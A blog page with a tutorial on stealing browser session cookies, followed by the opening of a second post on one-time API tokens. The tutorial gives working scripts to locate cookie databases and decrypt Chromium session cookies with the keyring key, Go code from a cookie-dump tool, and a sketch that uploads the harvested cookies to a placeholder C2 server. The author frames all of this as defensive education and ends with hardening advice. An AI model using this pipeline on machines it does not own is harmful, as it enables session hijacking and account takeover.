DEV Community: Marius Trelea

Browser Cookies: What Are They, How Are They Used, and How Can They Be Stolen?

Marius Trelea — Mon, 19 Oct 2026 16:14:40 +0000

In this post, I’ll cover:

What cookies are
When and why cookies are used
How cookies can be stolen
Common methods used to steal cookies
A simple example demonstrating how cookies can be extracted from my two most-used browsers, Firefox Developer Edition and Chromium, using an interesting filesystem-level method
A small Go tool that automates the whole extraction flow on Linux — database discovery, copying, decryption, and structured JSON output — plus a look at how real-world malware turns this same flow into network exfiltration

For this example, I’ll use a test website I created for this purpose: https://cookies-app-one.vercel.app/. The goal of the experiment is to demonstrate how a stolen session cookie could be used to authenticate to a user’s account without their credentials. I’m conducting this experiment on my own system (Arch Linux), although similar techniques may apply to other operating systems with some variations.

Note on the stack used in this article: the test website is built with Node.js / Express, so the session cookie it sets is named connect.sid (the default name used by express-session). Keep in mind that this name is specific to that stack—as explained in section 1.1, other technologies use different session cookie names (PHPSESSID, JSESSIONID, .AspNetCore.Session, etc.). The technique shown here works exactly the same way regardless of the cookie name used.

This is an educational experiment conducted on my own system and test website. It is not intended to facilitate digital fraud.

1. What Are Cookies?

Cookies are small pieces of data stored by a browser on the client side and exchanged with a server when needed. In a typical server-side session setup, the actual session data—for example, a JSON object or other data—is stored on the server. The client stores a session identifier (SID) that refers to the corresponding session state on the server.

1.1. Session Cookie Names Depend on the Technology

It's worth noting that the name of the session cookie is not standardized in any way—it depends entirely on the server technology or framework that sets it. The cookie name you see in your browser's developer tools will differ from stack to stack:

Stack / Framework	Typical session cookie name
Node.js / Express (`express-session`)	`connect.sid`
PHP	`PHPSESSID`
ASP.NET (classic)	`ASP.NET_SessionId`
ASP.NET Core	`.AspNetCore.Session`
Java / Jakarta EE (Tomcat, Spring, etc.)	`JSESSIONID`
Ruby on Rails	`_myapp_session` (app-specific)
Go (e.g., gorilla/sessions)	developer-defined

So while the concept of a session identifier is universal, a connect.sid cookie tells you the backend is likely Node.js/Express, a PHPSESSID points to PHP, a JSESSIONID to Java, and so on.

Large companies often go further and define their own completely custom cookie names. Facebook is a well-known example—it doesn't use a standard session cookie name at all, but instead sets its own cookies:

c_user — contains the authenticated user's unique ID (the profile ID).
xs — the main session token (contains the session ID, security flags, and login state). Together with c_user, it is essential for session identification.
datr — identifies the browser/device the request is made from, used to detect suspicious activity or fraud attempts.
fr — an encrypted cookie used by Facebook for authentication and advertising targeting/tracking.
sb — used for browser identification and improving login security.
presence — contains chat presence state (online/offline, time of last activity, etc.).
dpr — Device Pixel Ratio (screen resolution information for rendering).
wd — browser window dimensions (width x height, e.g., 800x963), used for adapting the interface.
ps_l / ps_n — internal flags used for the state of various modules or interface features.

This matters for the rest of the article: when we go looking for a session cookie in a browser's local database, the value we're after could be stored under any of these names—there is no single "universal" cookie to search for.

2. What Are Cookies Used For?

Many people assume that cookies are used only for advertising and tracking. Non-technical users often associate them exclusively with cookie-consent banners. However, cookies have many different use cases.

Backend developers use cookies for a variety of purposes, including:

Advertising and tracking
User authentication
E-commerce shopping carts
User identification and language/locale preferences
Multi-step forms and checkout flows

As mentioned earlier, in a typical server-side session setup, the client holds a long identifier that points to a server-side session store. The user’s machine does not store the raw session data—only the identifier, along with its expiration time and properties such as security flags.

3. How Can Cookies Be Stolen?

Method A: Cookie Hijacking (Client/Web Level)

One common way cookies can be stolen is through cookie hijacking, which attackers may use to gain unauthorized access, tamper with analytics, or steal data.

How does cookie hijacking work? Client-side JavaScript—for example, code executed in the browser console or injected through a Cross-Site Scripting (XSS) vulnerability—can read cookies that are accessible to JavaScript through document.cookie. The script can then send the accessible cookie values to a server controlled by an attacker.

How to reduce the risk of cookie hijacking:

Set appropriate security attributes on cookies in production:

HttpOnly=true: Prevents client-side JavaScript from reading the cookie.
Secure=true: Ensures the cookie is sent only over encrypted HTTPS connections.
SameSite=Strict or SameSite=Lax: Controls when cookies are sent with cross-site requests, helping mitigate Cross-Site Request Forgery (CSRF) and some cross-site data-leakage risks.

Method B: Filesystem Extraction

Another method involves accessing browser data at the filesystem level. This approach does not require JavaScript execution, browser-console commands, or web-based injection scripts.

Where Are Cookies Stored Locally?

Browsers store cookies locally, commonly in an SQLite database. How cookie values are protected on disk varies by browser, operating system, and browser version.

Chrome / Chromium / Brave: Cookie values are generally protected using encryption mechanisms.
Firefox / Firefox Developer Edition: Cookie records are stored in a local database. Whether values are encrypted at rest depends on the browser’s security model and configuration.

4. Local Database Locations Across Operating Systems

Here are the scripts for locating browser-cookie database files on different operating systems:

find-browser-cookies.sh
find-browser-cookies-mac.sh
Find-BrowserCookies.ps1

Here is the code for each script:

Linux (find-browser-cookies.sh):

#!/usr/bin/env bash

# Print Markdown table headers
printf "| %-22s | %-75s |\n" "Browser" "Cookie File Path"
printf "|-%-22s-|-%-75s-|\n" "----------------------" "---------------------------------------------------------------------------"

# 1. Firefox & Firefox Developer Edition (cookies.sqlite)
find ~/.mozilla ~/.var/app ~/snap -type f -name "cookies.sqlite" 2>/dev/null | while read -r filepath; do
    browser="Firefox"
    if [[ "$filepath" == *".dev-edition"* ]] || [[ "$filepath" == *"firefox-dev-edition"* ]]; then
        browser="Firefox Dev Edition"
    elif [[ "$filepath" == *"/snap/firefox/"* ]]; then
        browser="Firefox (Snap)"
    elif [[ "$filepath" == *"/org.mozilla.firefox/"* ]]; then
        browser="Firefox (Flatpak)"
    fi
    printf "| %-22s | %-75s |\n" "$browser" "$filepath"
done

# 2. Chrome, Chromium, and Brave (Cookies)
find ~/.config ~/.var/app ~/snap -type f -name "Cookies" 2>/dev/null | while read -r filepath; do
    browser=""
    if [[ "$filepath" == *"/google-chrome"* ]]; then
        browser="Google Chrome"
    elif [[ "$filepath" == *"/chromium"* ]]; then
        browser="Chromium"
    elif [[ "$filepath" == *"/BraveSoftware"* ]] || [[ "$filepath" == *"/com.brave.Browser"* ]]; then
        browser="Brave"
    fi

    if [[ -n "$browser" ]]; then
        printf "| %-22s | %-75s |\n" "$browser" "$filepath"
    fi
done

macOS (find-browser-cookies-mac.sh):

#!/usr/bin/env bash

printf "| %-22s | %-75s |\n" "Browser" "Cookie File Path"
printf "|-%-22s-|-%-75s-|\n" "----------------------" "---------------------------------------------------------------------------"

# 1. Firefox & Firefox Developer Edition
find "$HOME/Library/Application Support/Firefox" "$HOME/Library/Application Support/Firefox Developer Edition" -type f -name "cookies.sqlite" 2>/dev/null | while read -r filepath; do
    browser="Firefox"
    if [[ "$filepath" == *".dev-edition"* ]] || [[ "$filepath" == *"Firefox Developer Edition"* ]]; then
        browser="Firefox Dev Edition"
    fi
    printf "| %-22s | %-75s |\n" "$browser" "$filepath"
done

# 2. Google Chrome, Chromium, and Brave
find "$HOME/Library/Application Support" -maxdepth 5 -type f -name "Cookies" 2>/dev/null | while read -r filepath; do
    browser=""
    if [[ "$filepath" == *"/Google/Chrome"* ]]; then browser="Google Chrome"
    elif [[ "$filepath" == *"/Chromium"* ]]; then browser="Chromium"
    elif [[ "$filepath" == *"/BraveSoftware"* ]]; then browser="Brave"
    fi

    if [[ -n "$browser" ]]; then
        printf "| %-22s | %-75s |\n" "$browser" "$filepath"
    fi
done

Windows (PowerShell) (Find-BrowserCookies.ps1):

$results = @()

# 1. Firefox & Firefox Developer Edition (Gecko)
$firefoxRoot = "$env:APPDATA\Mozilla\Firefox"
if (Test-Path $firefoxRoot) {
    Get-ChildItem -Path $firefoxRoot -Filter "cookies.sqlite" -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        $browser = "Firefox"
        if ($_.FullName -like "*.dev-edition*") { $browser = "Firefox Dev Edition" }

        $results += [PSCustomObject]@{
            "Browser"          = $browser
            "Cookie File Path" = $_.FullName
        }
    }
}

# 2. Google Chrome, Chromium, and Brave
$localAppData = "$env:LOCALAPPDATA"
Get-ChildItem -Path $localAppData -Filter "Cookies" -Recurse -File -Depth 5 -ErrorAction SilentlyContinue | ForEach-Object {
    $path = $_.FullName
    $browser = $null

    if ($path -like "*\Google\Chrome\*") { $browser = "Google Chrome" }
    elseif ($path -like "*\Chromium\*") { $browser = "Chromium" }
    elseif ($path -like "*\BraveSoftware\Brave-Browser\*") { $browser = "Brave" }

    if ($browser) {
        $results += [PSCustomObject]@{
            "Browser"          = $browser
            "Cookie File Path" = $path
        }
    }
}

# Output formatted table
$results | Format-Table -AutoSize

For this experiment, I’ll continue with Chromium.

Scope of the practical example: the walkthrough below uses Chromium on Linux specifically, and the backend being targeted is a Node.js/Express application, so the session cookie we will locate and extract is named connect.sid. However, the overall flow is the same for any browser, any operating system, and any backend stack: locate the browser’s local cookie database, make a copy, inspect it, find the target site’s cookie record, and decrypt the stored value. What changes between browsers and operating systems is the database location (handled by the scripts above) and how the cookie values are encrypted and protected on disk—while what changes between backend stacks is only the name of the session cookie you search for (see section 1.1).

4.1. Sign In to the Test Website

The first step is to sign in to the test website. I sign in to my test dashboard at https://cookies-app-one.vercel.app/. The website uses cookie-based, session-based authentication, so once I’m authenticated, the browser stores a session cookie that will later appear in the local cookies database.

The following images show the login page and the authenticated dashboard:

4.2. Find the Chromium Cookies Database

Now take one of the three scripts from the previous section — according to your operating system — and run it. They do the same job on each platform:

Linux: find-browser-cookies.sh
macOS: find-browser-cookies-mac.sh
Windows: Find-BrowserCookies.ps1

Since my system is Arch Linux, I run the Linux one:

./find-browser-cookies.sh

The following image shows the script being run and the resulting path:

The output identifies the Chromium cookies database at:

/home/treleadev/.config/chromium/Default/Cookies

On other operating systems the path will differ (e.g. macOS or Windows profile locations), which is exactly what the other two scripts handle — the rest of the walkthrough is unchanged.

This is the SQLite database file used in the following steps.

4.3. Make a Copy of the Database

The next step is to copy the database to another location. Sometimes, the browser may keep the database open, which can make it difficult to inspect directly. Working with a copy can help avoid interfering with the browser’s active files.

Command:

cp /home/treleadev/.config/chromium/Default/Cookies /tmp/Cookies_copy.sqlite

4.4. Inspect the Tables and Schema

Next, inspect the database to see which tables it contains and how they are structured.

Commands:

# Open the copied database
sqlite3 /tmp/Cookies_copy.sqlite

# Once inside the sqlite> prompt, list all tables:
.tables

# View the schema of the main cookies table:
.schema cookies

The following image shows the database copy being created and the schema being inspected:

The cookies table has the following structure:

CREATE TABLE cookies (
    creation_utc INTEGER NOT NULL,
    host_key TEXT NOT NULL,
    top_frame_site_key TEXT NOT NULL,
    name TEXT NOT NULL,
    value TEXT NOT NULL,
    encrypted_value BLOB NOT NULL,
    path TEXT NOT NULL,
    expires_utc INTEGER NOT NULL,
    is_secure INTEGER NOT NULL,
    is_httponly INTEGER NOT NULL,
    last_access_utc INTEGER NOT NULL,
    has_expires INTEGER NOT NULL,
    is_persistent INTEGER NOT NULL,
    priority INTEGER NOT NULL,
    samesite INTEGER NOT NULL,
    source_scheme INTEGER NOT NULL,
    source_port INTEGER NOT NULL,
    last_update_utc INTEGER NOT NULL,
    source_type INTEGER NOT NULL,
    has_cross_site_ancestor INTEGER NOT NULL
);

CREATE UNIQUE INDEX cookies_unique_index
ON cookies (
    host_key,
    top_frame_site_key,
    has_cross_site_ancestor,
    name,
    path,
    source_scheme,
    source_port
);

4.5. Inspect a Few Rows

Let’s inspect the first 10 rows to see how the data is stored, focusing on the encrypted values.

Command:

SELECT host_key, name, encrypted_value
FROM cookies
LIMIT 10;

The following image shows the output:

As we can see, the encrypted_value column contains protected cookie data. Even though the values are encrypted, they may still be sensitive, so I won’t expose them in the article.

4.6. Find the Website’s Cookie Record

Next, let’s inspect the SQLite database and filter the records for the test website’s domain.

Query 1:

SELECT host_key, name, encrypted_value, is_secure, is_httponly
FROM cookies
WHERE host_key LIKE '%cookies-app-one.vercel.app%';

Query 2:

SELECT encrypted_value
FROM cookies
WHERE host_key LIKE '%cookies-app-one.vercel.app%';

The value in the encrypted_value column is encrypted.

The following image shows the output:

4.7. Inspect the Encrypted Value

The following command writes the selected encrypted value to a local file named data:

sqlite3 /tmp/Cookies_copy.sqlite "SELECT writefile('data', encrypted_value) FROM cookies WHERE host_key LIKE '%cookies-app-one.vercel.app%' LIMIT 1;" && cat data

4.8. Understanding the Decryption Step

To interpret Chromium’s encrypted cookie data, it is important to understand how the browser protects secrets on the local system. The exact process depends on the operating system and Chromium version.

On Linux, Chromium may integrate with a system keyring. The command below checks for a stored entry associated with Chromium; do not publish or share any recovered secret:

secret-tool lookup application chromium

That command only brings us the key material ("Safe Storage" secret), not the cookie itself. The actual decryption is a two-stage command: first retrieve the key from the keyring (trying chrome and then chromium, since the entry name depends on which Chromium-family browser encrypted the data), then feed the key to a decryption routine that processes the data file we extracted in section 4.7. Here I use Node.js because its crypto module has everything built in:

REAL_PASS=$(secret-tool lookup application chrome)
if [ -z "$REAL_PASS" ]; then
    REAL_PASS=$(secret-tool lookup application chromium)
fi
CHROMIUM_PASS=$REAL_PASS node -e "
  const fs = require('fs');
  const crypto = require('crypto');

  // 1. Derive the 128-bit AES key using PBKDF2
  const key = crypto.pbkdf2Sync(
    process.env.CHROMIUM_PASS || 'peanuts',
    'saltysalt',
    1,
    16,
    'sha1'
  );

  // 2. Initialize the AES-128-CBC decipher with an IV of 16 spaces
  const decipher = crypto.createDecipheriv(
    'aes-128-cbc',
    key,
    Buffer.alloc(16, ' ')
  );

  // 3. Read the encrypted binary file and slice off the 3-byte header ('v11')
  const encryptedData = fs.readFileSync('./data').slice(3);

  // 4. Decrypt the binary buffer
  const decrypted = Buffer.concat([
    decipher.update(encryptedData),
    decipher.final()
  ]);

  // 5. Slice off the 32-byte domain-binding hash and log the string
  console.log('\n[+] Final Clean Session Cookie:\n' + decrypted.slice(32).toString());
"

What this does, step by step — and how it connects back to the theory in sections 5.3 and section 4:

Key retrieval (the secret-tool part). Chromium-family browsers store their "Safe Storage" secret in the DBus Secret Service, under an application attribute matching the browser (chrome, chromium, brave …). If the entry is empty (e.g. no keyring running, or a v10 cookie), the script silently falls back to the well-known hardcoded password peanuts — Chromium's own legacy default.
Key derivation. The retrieved password is stretched with PBKDF2-HMAC-SHA1, salted with the famous constant "saltysalt", one iteration, into a 16-byte (128-bit) AES key. This mirrors exactly the deriveChromiumKey() from the Go tool in section 5.3.
Decryption. The blob from encrypted_value is AES-128-CBC ciphertext with a constant IV of 16 space characters (0x20). The first 3 bytes of the file (v10 / v11) are a version header, not ciphertext — they're sliced off before decrypting.
Hash stripping. On newer Chromium cookie-store schemas (v24+), the decrypted plaintext starts with 32 bytes of SHA256(host_key) — a domain-binding integrity hash. Slicing those 32 bytes leaves the actual cookie value, ready for use in the curl from section 4.10.

For safety, I'm not publishing the output value of this command — it is a live session credential. The important point for this experiment is that locally stored browser data may contain authentication material, and access to that data can have serious security implications.

The following image shows the output:

4.9. Why a Session Cookie Is Sensitive

A session cookie can act as proof that a user has already authenticated. If an attacker obtains a valid session cookie and the application accepts it, the attacker may be able to access the account without knowing the user’s password.

For that reason, I’m deliberately not publishing the extracted cookie value. Any real session token should be treated like a password: keep it private, invalidate it if it may have been exposed, and avoid placing it in screenshots, logs, or public articles.

4.10. Test Access to a Protected Endpoint

The final part of the experiment is to verify, in a controlled test environment, that the dashboard endpoint requires a valid session. A request can be made with curl, but any session-cookie value should be supplied privately and should never be included in a public article.

Example request using a placeholder. Note that connect.sid is the session cookie name here only because the test dashboard is a Node.js/Express application—on another stack you would substitute the appropriate cookie name instead (PHPSESSID for PHP, JSESSIONID for Java, .AspNetCore.Session for ASP.NET Core, etc., as discussed in section 1.1):

curl -i -X GET "https://cookies-app-one.vercel.app/dashboard" \
  -H "Cookie: connect.sid=<REDACTED_SESSION_COOKIE>"

The following image shows the output:

Finally, you can inspect the response locally to check whether it contains your expected test-account username. Avoid publishing response data that could reveal personal information or session credentials.

The following image shows the output:

5. Automating the Whole Flow with a Go Tool

Everything we did by hand in section 4 — discovering the database, copying it, finding the cookie record, decrypting it, and producing a readable result — can be automated. I packaged the whole flow into a small open-source Go tool for Linux:

Repository: https://github.com/trelea/go-cookie-dump-linux

It supports Chrome, Chromium, Brave, Firefox, and Firefox Developer Edition. For each installed browser it produces one JSON file (out/chromium_cookies.json, out/firefox_cookies.json, …) containing every cookie: decrypted where possible, redacted where not.

5.1. Build and Usage

The tool is pure Go (no cgo), so it builds into a single static executable:

make build          # -> dist/cookie-dump

Or manually:

go build -trimpath -ldflags="-s -w" -o dist/cookie-dump .

Usage is a single flag:

./dist/cookie-dump -browser all        # every installed browser
./dist/cookie-dump -browser chromium   # a single browser
./dist/cookie-dump -browser firefox-dev

Browsers that are not installed are silently skipped, and the output directory ./out is created automatically with 0700 permissions. Each JSON file is written with 0600 — these files are session credentials, and the tool treats them accordingly:

[written] chromium       214 cookie(s) -> out/chromium_cookies.json (decrypted: 209, redacted: 5)

WARNING: these JSON files contain live session credentials.
Treat them like passwords: keep them private and delete them when done.

5.2. The Output Format

Each record normalizes the differences between browsers into one shared schema:

{
  "domain": ".example.com",
  "name": "session",
  "value": "plaintext-or-redacted",
  "encrypted": false,
  "path": "/",
  "secure": true,
  "httpOnly": true,
  "sameSite": "lax",
  "isPersistent": true,
  "priority": "medium",
  "creationTime": "2025-09-17T13:41:23Z",
  "lastAccessTime": "2026-10-19T00:21:27Z",
  "expires": "2026-10-22T13:41:23Z"
}

Two details worth calling out, because both browsers hide them from you:

Timestamps come from two different epochs. Chromium stores microseconds since 1601; Firefox stores PRTime microseconds since 1970 (except expiry, which is seconds). The tool converts everything to RFC 3339 UTC strings.
Firefox records also carry baseDomain and originAttributes (omitted on older schemas where those columns don't exist), and Chromium records carry isPersistent and priority.

The encrypted field is true whenever a stored value could not be decrypted — in that case the value is redacted rather than garbage. The tool never crashes on a secret it cannot recover.

5.3. How It Mirrors the Manual Steps

Each part of the tool corresponds directly to a step in section 4.

Database discovery (≈ section 4.2). Instead of the shell scripts, each browser is described as data: candidate database paths, first existing one wins. Flatpak and standard locations are both covered:

"chromium": {
    ID: "chromium",
    ChromiumPaths: []string{
        filepath.Join(h, ".config/chromium/Default/Cookies"),
        filepath.Join(h, ".var/app/org.chromium.Chromium/config/chromium/Default/Cookies"),
    },
    KeyringApps: []string{"chromium"},
},

The copy-to-temp trick (≈ section 4.3). The browser keeps the database open, so — exactly like our manual cp — the tool copies it to a temp file before opening it with SQLite:

copyPath, cleanup, err := copyToTemp(dbPath)
if err != nil {
    return nil, fmt.Errorf("copying database: %w", err)
}
defer cleanup()

Decryption (≈ sections 4.7–4.8). This is the heart of the tool, and it formalizes the scheme we probed in 4.8. The encrypted blob is a prefix (v10 or v11) followed by AES-128-CBC ciphertext with a constant spaces IV; the key is derived with PBKDF2-HMAC-SHA1 over the famous "saltysalt" salt:

func decryptChromiumValue(encValue, plainValue, hostKey string,
    keyringKey *[]byte, keyringTried *bool, apps []string) (string, bool) {

    if encValue == "" {
        return plainValue, false // legacy plaintext row
    }
    prefix, payload := encValue[:3], []byte(encValue[3:])

    var key []byte
    switch prefix {
    case "v10":
        key = deriveChromiumKey([]byte("peanuts"))
    case "v11":
        // "Safe Storage" secret lives in the system keyring (DBus Secret
        // Service: GNOME Keyring / KWallet / KeePassXC)
        key = deriveChromiumKey(*keyringKey)
    default:
        return "", true // unknown version -> stay redacted
    }
    // ... AES-128-CBC decrypt + strict PKCS#7 unpad ...
}

Two details make this robust across real-world databases:

Keyring integration is the programmatic version of secret-tool. The v11 case above needs the "Safe Storage" secret that Chromium stores in the session keyring — the same entry we looked up manually with secret-tool lookup application chromium. The tool talks to the DBus Secret Service directly (org.freedesktop.Secret.Service.SearchItems + GetSecret), tolerates GNOME Keyring / KWallet / KeePassXC reply-shape differences, and unlocks locked collections when needed.
Newer Chromium adds a domain-binding hash. From cookie-store schema version 24, the decrypted plaintext is SHA256(host_key) ++ cookie_value. The tool verifies that hash against the row's own host_key and strips it — a cheap integrity check that also proves the decryption was correct.

Firefox needs no decryption at all. Contrary to a common misconception, Firefox stores cookie values in plaintext in the value column — the key4.db/NSS machinery protects saved passwords, not cookies. (This is verified against Firefox's own netwerk/cookie/CookiePersistentStorage.cpp.) The Firefox reader therefore just copies cookies.sqlite and scans moz_cookies, binding columns dynamically because the schema has changed across versions (baseDomain was dropped in schema 11):

rows, err := db.Query(`SELECT * FROM moz_cookies`)
cols, _ := rows.Columns()
values := make([]any, len(cols))
scannable := make([]any, len(cols))
for i := range values {
    scannable[i] = &values[i]
}

This also matches the article's earlier comparison in section 3: on Linux, Chromium encrypts cookie values; Firefox does not.

5.4. Failing Safe

A cookie tool that half-works is more dangerous than one that refuses loudly, so the design rule is: any cookie the tool cannot decrypt is output redacted, never guessed. Concretely:

no keyring available → v11 cookies stay { "value": "", "encrypted": true }
bad padding (wrong key) → redacted, because strict PKCS#7 validation strongly indicates the key was wrong
non-UTF-8 plaintext → redacted
no valid Chromium database → browser skipped with [skip], not a crash

Finally, repository hygiene matters here more than usual: the repo's .gitignore excludes the built binary, dist/, and — most importantly — every *_cookies.json and out/ directory, so live session credentials can never be committed by accident.

6. From Local Dump to Network Exfiltration

A JSON file on disk is already a serious incident, but it is still local. There is one more step an attacker can take: sending the harvest somewhere they control. This section describes that step conceptually, because understanding it is what makes it detectable and preventable — the goal is defense, not a working exfiltration recipe.

6.1. The Conceptual Step

Once the cookies are a structured file, exfiltration is no longer a hard problem for the attacker — it is plumbing. In Go, "send the file over the network" is a few lines:

// sketch — placeholder endpoint, same spirit as the <REDACTED> cookie in 4.10
data, _ := os.ReadFile("out/chromium_cookies.json")
http.Post("https://<C2-SERVER>/upload", "application/json", bytes.NewReader(data))

Real-world samples of course add the operational details: calling home to a C2 server with jitter and retry logic, splitting the payload into chunks, compressing or XOR-encoding it, or tunneling it through seemingly innocent channels such as DNS queries or HTTPS image uploads. The principle, however, stays as boring as the snippet above: find → decrypt → serialize → transmit.

6.2. How Real Malware Uses This Exact Flow

This is not a hypothetical. The most widespread Windows and Linux infostealer families — RedLine, Raccoon, Stealc, RisePro, Vulcan and their many forks all do precisely the pipeline described in sections 4–5, at industrial scale:

Locate the browser profile directories (exactly our section 4 scripts).
Copy the cookie database — the same temp-file trick, because the browser holds a lock on it.
Decrypt encrypted_value blobs using the same hardcoded key / keyring secret that the tool uses.
Filter for high-value domains (Google, Facebook, Microsoft, banking, crypto exchange, gaming, SSO providers like okta.com).
Upload everything to a stealer panel where the operator can pick a cookie by name and see it become a logged-in session.

Session cookies are the crown jewel of this business because of what we established in section 4.9: they bypass authentication entirely, and often MFA at the session layer. An attacker with your session cookie does not need your password, and does not trigger the "new login" alert that a password compromise generates. This is why campaigns that pair an infostealer with a session-replaying client have become one of the dominant initial-access vectors for ransomware and corporate takeover attacks — "cookie theft" is regularly just the first stage of a much bigger intrusion.

6.3. Detection and Hardening

Everything above leads to a practical defense checklist. The weak link in the entire chain is that the browser must be able to decrypt the cookie for you, so the ciphertext and its key must both live somewhere the user account can reach. On any machine where a process runs with your user's privileges — benign or not — that attack surface exists by design, so your goal is to make each link in the chain harder and noisier.

On the endpoint (making the disk stage harder):

Full-disk encryption — a stolen laptop should not hand over a decrypted cookie database with the same ease.
Lock your screen, and let the session keyring lock with it: an unlocked keyring is what makes v11 cookies decryptable by any process running as you.
Run a strict application allowlist (or a good default-deny setup) for unprivileged user processes that touch browser profile directories.
Monitor access: an auditd rule (Linux) or Sysmon event (Windows) watching for reads of ~/.config/chromium/Default/Cookies from processes other than your browser is a cheap, high-signal tripwire. Periodically reading a cookie DB with a plain sqlite3 copy is exactly what section 4 demonstrated — it should be rare enough that it stands out.

On the network (making the exfil stage visible):

Egress filtering / DNS monitoring from workstations: an unknown host suddenly POSTing JSON blobs, or making DNS lookups with high-entropy labels, is worth inspecting.
Screen volumes of outbound data from endpoints, not only destinations.

On the web application (limiting the blast radius of a leaked cookie):

Set HttpOnly, Secure, and SameSite=Strict/Lax — as discussed in Method A, this kills the JavaScript-level theft route. It does not protect against filesystem extraction (Method B), which is why both defense layers are needed.
Bind sessions to more than the cookie where possible: User-Agent or device fingerprint consistency checks, or re-authentication on sensitive actions.
Keep session lifetimes bounded and invalidate server-side session records on logout. A stolen session is only as good as the time it stays valid — short TTLs and server-side revocation shrink the window dramatically.
IP/ASN anomaly alerts: an infostealer session replay usually arrives from a very different network than the original login and tends to also have a different device fingerprint. Flagging it fast is what turns a stolen cookie from an ATO into a failed bounce.

6.4. Closing

The takeaway is in the pipeline we followed ourselves over the course of this article: a modern browser's cookie store is a credential database, encrypted at rest with a key that lives next to it in your keyring. "It's on my machine, so I control it" cuts both ways: anything the browser can read, any process running as you can read as well. The defense is layered — full-disk encryption, a locked keyring, endpoint policies, egress controls, and short-lived server-side sessions all have to agree that this pipeline is worth interrupting. And the same lesson applies whether the tool involved is a Go experiment built for this article or one of the infostealer families abusing the identical flow in the wild: session cookies are credentials, and credentials deserve the same handling you would give to a password.

As always — this experiment was conducted on my own hardware, against my own test website, with every secret redacted before publication. Don't use any of it against machines you don't own.

One-Time Access Tokens: What If Every API Request Burned Its Token?

Marius Trelea — Sat, 10 Oct 2026 21:29:30 +0000

A stolen token doesn't need your password or your MFA code. Whoever holds it is, as far as your API can tell, you.

This post compares three ways of issuing tokens and ends with one where each token is valid for a single request. It includes a NestJS + PostgreSQL implementation, tested against a real database.

Why tokens are the target

Verizon's 2026 DBIR: credential abuse appears at some stage in 39% of breaches, and 73% of ransomware victims had an infostealer infection or credential leak in the previous year.
NordVPN: about 52.4 billion cookie records in infostealer logs between June 2025 and June 2026 (records, not people).
Okta, 2023: session tokens inside HAR files in the support system were used to hijack 5 customer sessions.
Salesloft Drift, 2025: stolen OAuth and refresh tokens were used to export Salesforce data. Google knew of more than 700 potentially affected organizations.
Vercel, 2026: an infostealer at a vendor led to a stolen OAuth token, then to internal systems and customer environment variables.

Nobody cracked a password in any of these. A token was copied and replayed. So the practical question is: when a token leaks, how long is it useful, and will you notice?

1. Access token only

One bearer token, sent with every request until it expires. It is simple, stateless and fast. The costs: the replay window equals the token lifetime, revocation needs a denylist, and theft is silent because the attacker's requests look exactly like the user's.

2. Access + refresh tokens

A short-lived access token goes to the API. A long-lived refresh token goes only to the auth server. With rotation, every refresh returns a new refresh token and invalidates the old one. If an old one comes back, two parties hold the same lineage, so the server revokes the session. RFC 9700 requires rotation or sender-constraining for public clients, and Auth0 and Okta both ship it.

What remains: the access token is still replayable for its whole lifetime, and detection only happens at refresh time.

3. One-time access tokens

Apply rotation to every request:

A token is valid for exactly one request.
The server burns it the moment it is presented.
The response carries the next token in an X-Next-Token header.
Each token records its parent, so tokens form a chain: T1 → T2 → T3.
Each token also expires on its own. Here it is a JWT that lives for 60 seconds.

The token is burned when authentication succeeds, not when the request succeeds. A 400 or 500 still returns the next token. Otherwise one validation error would strand the client with a dead token.

When a token is stolen

The attacker is late. The token was already spent, so the replay is rejected. A spent token coming back proves two parties hold the chain, so the server revokes it.

The attacker is first. The attacker spends the live token and gets the next one. The real client then presents its now-spent token, which triggers the same detection and kills the chain, including the attacker's new token.

This does not make theft impossible. It changes two things: the replay window shrinks from "token lifetime" to "until the next legitimate request", and theft stops being silent.

The idea is not new. Lamport described hash-chain one-time passwords in 1981, HTTP Digest has nextnonce (RFC 7616), and refresh token rotation is the same mechanism once per refresh. This is that mechanism applied to the access token, on every request.

The chain is an audit trail

Every token maps to exactly one request, so the token table is a per-session log:

seq	status	used_for	request_id	used_at
1	used	`GET /orders`	`20d9771b…`	20:26:55.660
2	used	`POST /orders`	`3452a625…`	20:26:55.668
3	active

Store your trace ID on the row and a chain becomes an ordered list of traces. "Why was I logged out?" becomes a query on revoke_reason. Alert on replays per minute and on the client IP changing mid-chain. Log the jti, never the token.

Implementation: NestJS + PostgreSQL

Each token is an HS256 JWT with a 60-second lifetime, carrying the user (sub), chain (cid), position (seq) and a unique ID (jti).

A single-use token always needs a database lookup, so the JWT is not here for statelessness. It is here because:

forged or tampered tokens fail the signature check and never reach the database,
the table stores only the jti, so a database dump cannot be turned into tokens without the signing key,
gateways and logs can read the user, chain and sequence without calling the auth service.

src/auth/
├── auth.module.ts
├── auth.controller.ts
├── auth.service.ts
├── auth.config.ts
├── dto/login.dto.ts
├── guards/one-time-token.guard.ts
├── tokens/
│   ├── one-time-token.service.ts
│   ├── one-time-token.repository.ts
│   └── one-time-token.types.ts
├── decorators/        public, current-session
└── utils/             bearer-token, password

Migration

migrations/001_one_time_tokens.sql

CREATE TABLE ota_chains (
  id            uuid PRIMARY KEY,
  user_id       uuid        NOT NULL REFERENCES users(id) ON DELETE CASCADE,
  created_at    timestamptz NOT NULL DEFAULT now(),
  revoked_at    timestamptz,
  revoke_reason text
);
CREATE INDEX ota_chains_user_id_idx ON ota_chains (user_id);

CREATE TABLE ota_tokens (
  id          uuid PRIMARY KEY,                    -- the JWT's jti
  chain_id    uuid        NOT NULL REFERENCES ota_chains(id) ON DELETE CASCADE,
  parent_id   uuid        REFERENCES ota_tokens(id),
  seq         integer     NOT NULL,
  status      text        NOT NULL DEFAULT 'active'
              CHECK (status IN ('active', 'used', 'revoked')),
  issued_at   timestamptz NOT NULL DEFAULT now(),
  expires_at  timestamptz NOT NULL,                -- same instant as the JWT's exp
  used_at     timestamptz,
  used_for    text,                                -- e.g. "POST /orders"
  request_id  text,                                -- correlation / trace id
  client_ip   inet,
  UNIQUE (chain_id, seq)                           -- a chain cannot fork
);
CREATE INDEX ota_tokens_expires_at_idx ON ota_tokens (expires_at);  -- for pruning

The row's primary key is the token's jti, and UNIQUE (chain_id, seq) means the database itself refuses to let a chain fork.

Repository

PG_POOL is a plain pg connection pool provided by the database module.

Everything depends on one property: checking a token and burning it must be a single atomic step. With a SELECT followed by an UPDATE, two concurrent requests can both pass the check. burnAndIssue does both, plus the insert of the successor, in one statement.

src/auth/tokens/one-time-token.repository.ts

import { Inject, Injectable } from '@nestjs/common';
import { Pool } from 'pg';
import { PG_POOL } from '../../database/database.module';
